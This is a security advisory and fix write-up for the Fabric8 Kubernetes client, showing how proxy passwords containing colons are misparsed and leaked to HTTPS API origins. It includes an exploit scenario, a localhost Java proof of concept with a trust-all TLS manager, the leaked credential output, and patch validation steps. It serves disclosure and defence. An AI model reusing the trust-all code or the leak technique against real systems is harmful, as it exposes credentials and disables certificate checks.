fix(kubernetes-client): parse Basic proxy credentials on first colon

[GrosQuildu]

Description

Fabric8 decodes configured Proxy-Authorization credentials by base64-decoding the Basic value and splitting the decoded string on every colon. A proxy password such as pa:ss decodes to proxy-user:pa:ss, so the decoder returns three fields instead of the expected username/password pair. Jetty, Vert.x 4, and Vert.x 5 then treat the valid credential as undecodable and fall back to an interceptor that adds Proxy-Authorization to the Kubernetes API request itself. For HTTPS API requests through an HTTP proxy, this sends the proxy credential inside the CONNECT tunnel to the API origin, not to the proxy.

The affected decoder is in HttpClientUtils.decodeBasicCredentials:

  public static String basicCredentials(String username, String password) {
    return basicCredentials(username + ":" + password);
  }

  public static String[] decodeBasicCredentials(String basicCredentials) {
    if (basicCredentials == null) {
      return null;
    }
    try {
      final String encodedCredentials = basicCredentials.replaceFirst("Basic ", "");
      final String decodedProxyAuthorization = new String(Base64.getDecoder().decode(encodedCredentials),
          StandardCharsets.UTF_8);
      final String[] userPassword = decodedProxyAuthorization.split(":");
      if (userPassword.length == 2) {
        return userPassword;
      }

The Basic authentication format uses the first colon as the separator between the username and password; text after the first colon is part of the password. This is different from URI userinfo syntax. Users may percent-encode a colon as %3A when placing a password in a proxy URL, but after URL parsing the Basic credential is still username:password-with-colon. For Fabric8's Config.proxyPassword field, percent-encoding the colon would change the literal password to pa%3Ass and would not represent pa:ss.

The affected backends call decodeBasicCredentials and use addProxyAuthInterceptor when it returns null:

      final String[] userPassword = decodeBasicCredentials(this.proxyAuthorization);
      if (userPassword != null) {
        URI proxyUri;
        try {
          proxyUri = new URI("http://" + proxyAddress.getHostString() + ":" + proxyAddress.getPort());
        } catch (URISyntaxException e) {
          throw KubernetesClientException.launderThrowable(e);
        }
        sharedHttpClient.getAuthenticationStore()
            .addAuthentication(new BasicAuthentication(proxyUri, Authentication.ANY_REALM, userPassword[0], userPassword[1]));
      } else {
        addProxyAuthInterceptor();
      }

Jetty proxy-auth fallback path (JettyHttpClientBuilder.java).

      final String[] userPassword = decodeBasicCredentials(this.proxyAuthorization);
      if (userPassword != null) {
        proxyOptions.setUsername(userPassword[0]);
        proxyOptions.setPassword(userPassword[1]);
      } else {
        addProxyAuthInterceptor();
      }

Vert.x 4 proxy-auth fallback path (VertxHttpClientBuilder.java).

    final String[] userPassword = decodeBasicCredentials(this.proxyAuthorization);
    if (userPassword != null) {
      proxyOptions.setUsername(userPassword[0]).setPassword(userPassword[1]);
    } else {
      addProxyAuthInterceptor();
    }

Vert.x 5 proxy-auth fallback path (Vertx5HttpClientBuilder.java).

The fallback interceptor writes the proxy credential into the application request headers:

  protected void addProxyAuthInterceptor() {
    if (proxyAuthorization != null) {
      this.interceptors.put("PROXY-AUTH", new Interceptor() {

        @Override
        public void before(BasicBuilder builder, HttpRequest httpRequest, RequestTags tags) {
          builder.setHeader(StandardHttpHeaders.PROXY_AUTHORIZATION, proxyAuthorization);
        }

Proxy-auth request-header fallback (StandardHttpClientBuilder.java).

Exploit Scenario

An attacker controls a kubeconfig, cluster profile, or integration setting that selects the Kubernetes API endpoint for an application that uses Fabric8 behind an HTTP proxy. The application has proxy credentials configured through Config.proxyUsername and Config.proxyPassword, and the proxy password contains a colon because it was generated by a password manager or secret manager. When the application connects to the attacker's HTTPS endpoint through the Jetty, Vert.x 4, or Vert.x 5 backend, Fabric8 misparses the valid Basic credential and adds Proxy-Authorization to the tunneled Kubernetes API request. The attacker receives the proxy credential from the HTTPS origin request and can attempt to use it against the victim's proxy.

The following Java PoC starts a local HTTPS origin and a raw HTTP CONNECT proxy, configures Fabric8 with proxyUsername=proxy-user and proxyPassword=pa:ss, and records whether the CONNECT request or the HTTPS origin receives Proxy-Authorization.

<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>poc</groupId>
  <artifactId>proxy-pass-colon-poc</artifactId>
  <version>1</version>
  <properties>
    <maven.compiler.release>11</maven.compiler.release>
  </properties>
  <dependencies>
    <dependency>
      <groupId>io.fabric8</groupId>
      <artifactId>kubernetes-client-api</artifactId>
      <version>999-SNAPSHOT</version>
    </dependency>
    <dependency>
      <groupId>io.fabric8</groupId>
      <artifactId>kubernetes-httpclient-jetty</artifactId>
      <version>999-SNAPSHOT</version>
    </dependency>
    <dependency>
      <groupId>org.bouncycastle</groupId>
      <artifactId>bcpkix-jdk18on</artifactId>
      <version>1.84</version>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.codehaus.mojo</groupId>
        <artifactId>exec-maven-plugin</artifactId>
        <version>3.6.3</version>
      </plugin>
    </plugins>
  </build>
</project>

PoC Maven project.

package poc;

import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpsConfigurator;
import com.sun.net.httpserver.HttpsServer;
import io.fabric8.kubernetes.client.Config;
import io.fabric8.kubernetes.client.ConfigBuilder;
import io.fabric8.kubernetes.client.http.HttpClient;
import io.fabric8.kubernetes.client.http.HttpRequest;
import io.fabric8.kubernetes.client.http.StandardHttpHeaders;
import io.fabric8.kubernetes.client.jetty.JettyHttpClientFactory;
import org.bouncycastle.asn1.x500.X500Name;
import org.bouncycastle.asn1.x509.Extension;
import org.bouncycastle.asn1.x509.GeneralName;
import org.bouncycastle.asn1.x509.GeneralNames;
import org.bouncycastle.cert.X509CertificateHolder;
import org.bouncycastle.cert.jcajce.JcaX509CertificateConverter;
import org.bouncycastle.cert.jcajce.JcaX509v3CertificateBuilder;
import org.bouncycastle.operator.ContentSigner;
import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.math.BigInteger;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.KeyStore;
import java.security.SecureRandom;
import java.security.cert.X509Certificate;
import java.time.Instant;
import java.time.temporal.ChronoUnit;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.TimeUnit;

import javax.net.ssl.KeyManagerFactory;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;

public final class ProxyPasswordColonLeakPoC {

  private ProxyPasswordColonLeakPoC() {
  }

  public static void main(String[] args) throws Exception {
    Origin origin = Origin.start();
    TunnelProxy proxy = TunnelProxy.start("localhost", origin.port());
    Config config = new ConfigBuilder()
        .withMasterUrl("https://localhost:" + origin.port())
        .withHttpsProxy("http://127.0.0.1:" + proxy.port())
        .withProxyUsername("proxy-user")
        .withProxyPassword("pa:ss")
        .withTrustCerts(true)
        .withHttp2Disable(true)
        .build();
    try (HttpClient client = new JettyHttpClientFactory().newBuilder(config)
        .sslContext(null, trustAllManagers())
        .build()) {
      HttpRequest request = client.newHttpRequestBuilder()
          .uri(config.getMasterUrl() + "/api/v1/pods")
          .build();
      client.sendAsync(request, String.class).get(15, TimeUnit.SECONDS);
      System.out.printf("connectProxyAuth=%s%n",
          sanitize(proxy.connectProxyAuthorization().get(5, TimeUnit.SECONDS)));
      System.out.printf("originProxyAuth=%s%n",
          sanitize(origin.proxyAuthorization().get(5, TimeUnit.SECONDS)));
    } finally {
      proxy.close();
      origin.close();
    }
  }

  private static TrustManager[] trustAllManagers() {
    return new TrustManager[] {
        new X509TrustManager() {
          @Override
          public void checkClientTrusted(X509Certificate[] chain, String authType) {
          }

          @Override
          public void checkServerTrusted(X509Certificate[] chain, String authType) {
          }

          @Override
          public X509Certificate[] getAcceptedIssuers() {
            return new X509Certificate[0];
          }
        }
    };
  }

  private static String sanitize(String value) {
    if (value == null || value.isEmpty()) {
      return "<none>";
    }
    return value.replace("\r", "\\r").replace("\n", "\\n");
  }

  private static final class Origin implements AutoCloseable {
    private final HttpsServer server;
    private final CompletableFuture<String> proxyAuthorization = new CompletableFuture<>();

    private Origin(HttpsServer server) {
      this.server = server;
    }

    static Origin start() throws Exception {
      HttpsServer server = HttpsServer.create(new InetSocketAddress("localhost", 0), 0);
      server.setHttpsConfigurator(new HttpsConfigurator(serverContext()));
      Origin origin = new Origin(server);
      server.createContext("/", exchange -> {
        Headers headers = exchange.getRequestHeaders();
        origin.proxyAuthorization.complete(headers.getFirst(StandardHttpHeaders.PROXY_AUTHORIZATION));
        byte[] body = "ok".getBytes(StandardCharsets.UTF_8);
        exchange.sendResponseHeaders(200, body.length);
        try (OutputStream output = exchange.getResponseBody()) {
          output.write(body);
        }
      });
      server.start();
      return origin;
    }

    int port() {
      return server.getAddress().getPort();
    }

    CompletableFuture<String> proxyAuthorization() {
      return proxyAuthorization;
    }

    @Override
    public void close() {
      server.stop(0);
    }
  }

  private static SSLContext serverContext() throws Exception {
    KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
    generator.initialize(2048);
    KeyPair keyPair = generator.generateKeyPair();
    X500Name subject = new X500Name("CN=localhost");
    Instant now = Instant.now();
    JcaX509v3CertificateBuilder builder = new JcaX509v3CertificateBuilder(
        subject,
        new BigInteger(160, new SecureRandom()),
        Date.from(now.minus(1, ChronoUnit.DAYS)),
        Date.from(now.plus(30, ChronoUnit.DAYS)),
        subject,
        keyPair.getPublic());
    builder.addExtension(Extension.subjectAlternativeName, false,
        new GeneralNames(new GeneralName(GeneralName.dNSName, "localhost")));
    ContentSigner signer = new JcaContentSignerBuilder("SHA256withRSA").build(keyPair.getPrivate());
    X509CertificateHolder holder = builder.build(signer);
    X509Certificate certificate = new JcaX509CertificateConverter().getCertificate(holder);
    KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
    keyStore.load(null, null);
    keyStore.setKeyEntry("server", keyPair.getPrivate(), "password".toCharArray(),
        new java.security.cert.Certificate[] { certificate });
    KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
    keyManagerFactory.init(keyStore, "password".toCharArray());
    SSLContext context = SSLContext.getInstance("TLS");
    context.init(keyManagerFactory.getKeyManagers(), null, new SecureRandom());
    return context;
  }

  private static final class TunnelProxy implements AutoCloseable {
    private final ServerSocket serverSocket;
    private final String targetHost;
    private final int targetPort;
    private final CompletableFuture<String> connectProxyAuthorization = new CompletableFuture<>();

    private TunnelProxy(ServerSocket serverSocket, String targetHost, int targetPort) {
      this.serverSocket = serverSocket;
      this.targetHost = targetHost;
      this.targetPort = targetPort;
    }

    static TunnelProxy start(String targetHost, int targetPort) throws Exception {
      TunnelProxy proxy = new TunnelProxy(new ServerSocket(0), targetHost, targetPort);
      Thread thread = new Thread(proxy::serve, "proxy-auth-tunnel");
      thread.setDaemon(true);
      thread.start();
      return proxy;
    }

    int port() {
      return serverSocket.getLocalPort();
    }

    CompletableFuture<String> connectProxyAuthorization() {
      return connectProxyAuthorization;
    }

    private void serve() {
      try (Socket client = serverSocket.accept();
          BufferedReader reader = new BufferedReader(
              new InputStreamReader(client.getInputStream(), StandardCharsets.ISO_8859_1));
          OutputStream clientOutput = client.getOutputStream()) {
        List<String> lines = new ArrayList<>();
        String line;
        while ((line = reader.readLine()) != null) {
          if (line.isEmpty()) {
            break;
          }
          lines.add(line);
        }
        connectProxyAuthorization.complete(findHeader(lines, StandardHttpHeaders.PROXY_AUTHORIZATION));
        clientOutput.write("HTTP/1.1 200 Connection Established\r\n\r\n".getBytes(StandardCharsets.ISO_8859_1));
        clientOutput.flush();
        try (Socket upstream = new Socket(targetHost, targetPort)) {
          Thread clientToServer = pipe(client.getInputStream(), upstream.getOutputStream(), "client-to-server");
          Thread serverToClient = pipe(upstream.getInputStream(), clientOutput, "server-to-client");
          clientToServer.join(10000);
          serverToClient.join(10000);
        }
      } catch (Exception e) {
        connectProxyAuthorization.completeExceptionally(e);
      }
    }

    private static String findHeader(List<String> lines, String name) {
      String prefix = name.toLowerCase() + ":";
      for (String line : lines) {
        if (line.toLowerCase().startsWith(prefix)) {
          return line.substring(prefix.length()).trim();
        }
      }
      return null;
    }

    private static Thread pipe(InputStream input, OutputStream output, String name) {
      Thread thread = new Thread(() -> {
        byte[] buffer = new byte[8192];
        int read;
        try {
          while ((read = input.read(buffer)) != -1) {
            output.write(buffer, 0, read);
            output.flush();
          }
        } catch (Exception ignored) {
          // The opposite side often closes first during TLS shutdown.
        }
      }, name);
      thread.setDaemon(true);
      thread.start();
      return thread;
    }

    @Override
    public void close() throws Exception {
      serverSocket.close();
    }
  }
}

PoC Java harness.

Run the PoC with:

mvn -B -ntp compile exec:java \
  -Dexec.mainClass=poc.ProxyPasswordColonLeakPoC

On the unpatched client, the proxy receives no CONNECT credential, while the HTTPS origin receives the proxy credential:

connectProxyAuth=<none>
originProxyAuth=Basic cHJveHktdXNlcjpwYTpzcw==

The base64 value decodes to proxy-user:pa:ss.

We also validated a broader harness against JDK, OkHttp, Jetty, Vert.x 4, and Vert.x 5. The relevant unpatched output was:

jdk,config-colon-password,OK,connectProxyAuth=<none>,originProxyAuth=<none>
okhttp,config-colon-password,OK,connectProxyAuth=Basic cHJveHktdXNlcjpwYTpzcw==,originProxyAuth=<none>
jetty,config-colon-password,OK,connectProxyAuth=<none>,originProxyAuth=Basic cHJveHktdXNlcjpwYTpzcw==
vertx4,config-colon-password,OK,connectProxyAuth=<none>,originProxyAuth=Basic cHJveHktdXNlcjpwYTpzcw==
vertx5,config-colon-password,connectProxyAuth=<none>,originProxyAuth=Basic cHJveHktdXNlcjpwYTpzcw==

Threat Model

This seems like a technical bug.

Fix

Split decoded Basic credentials on the first colon only. This preserves valid passwords that contain colons and prevents Jetty, Vert.x 4, and Vert.x 5 from falling back to the generic request-header interceptor.

We validated the patch in a fresh local clone from the target repository's main branch:

git clone --no-checkout /Users/gros/ToB/work/patch_the_planet/k8s_client/kubernetes-client \
  /tmp/k8s-proxy-pass-colon-validate/repo
cd /tmp/k8s-proxy-pass-colon-validate/repo
git checkout -q main
git checkout -b validate-proxy-pass-colon
git apply --check /tmp/k8s-proxy-pass-colon-validate/patch.diff
git apply /tmp/k8s-proxy-pass-colon-validate/patch.diff
./mvnw -B -ntp -pl kubernetes-client-api \
  -Dtest=HttpClientUtilsTest#testDecodeBasicCredentialsPreservesColonsInPassword \
  test

The focused regression test passed:

Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

The full directly changed module test suite also passed:

./mvnw -B -ntp -pl kubernetes-client-api test

Tests run: 652, Failures: 0, Errors: 0, Skipped: 3
BUILD SUCCESS

The module test run emitted existing JVM dynamic-agent, class-data-sharing, and test logger warnings, but it completed successfully.

Running the compact PoC with the patched kubernetes-client-api/target/classes placed before the unpatched snapshot dependency makes the origin leak disappear:

mvn -B -ntp dependency:build-classpath -Dmdep.outputFile=target/classpath.txt
CP="target/classes:/tmp/k8s-proxy-pass-colon-validate/repo/kubernetes-client-api/target/classes:$(cat target/classpath.txt)"
java -cp "$CP" poc.ProxyPasswordColonLeakPoC

connectProxyAuth=<none>
originProxyAuth=<none>

The broader patched backend validation also stopped sending Proxy-Authorization to HTTPS origins:

jetty,config-colon-password,OK,connectProxyAuth=<none>,originProxyAuth=<none>
vertx4,config-colon-password,OK,connectProxyAuth=Basic cHJveHktdXNlcjpwYTpzcw==,originProxyAuth=<none>
vertx5,config-colon-password,connectProxyAuth=Basic cHJveHktdXNlcjpwYTpzcw==,originProxyAuth=<none>

---

Paweł Płatek from Trail of Bits in collaboration with OpenAI.